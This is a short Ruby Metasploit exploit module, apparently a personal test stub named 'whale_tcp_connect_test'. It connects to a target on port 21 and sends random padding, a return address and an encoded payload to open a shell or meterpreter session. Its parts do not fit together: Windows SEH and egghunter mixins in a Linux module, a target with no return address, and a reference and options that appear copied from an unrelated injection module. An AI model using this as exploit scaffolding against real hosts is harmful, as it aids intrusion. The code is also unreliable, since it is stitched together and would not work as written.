class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Seh
include Msf::Exploit::Egghunter
include Msf::Exploit::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'whale_tcp_connect_test',
'Description' => %q{
tcp connect
},
'License' => MSF_LICENSE,
'Author' => ['whale3070'],
'DisclosureDate' => '2020-12-27',
'References' =>
[
['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
],self.class)
end
def exploit
connect
buf = rand_text_alpha(1024)
buf << [ target.ret ].pack('V')
buf << payload.encoded
sock.put(buf)
sock.get_once
handler
end
end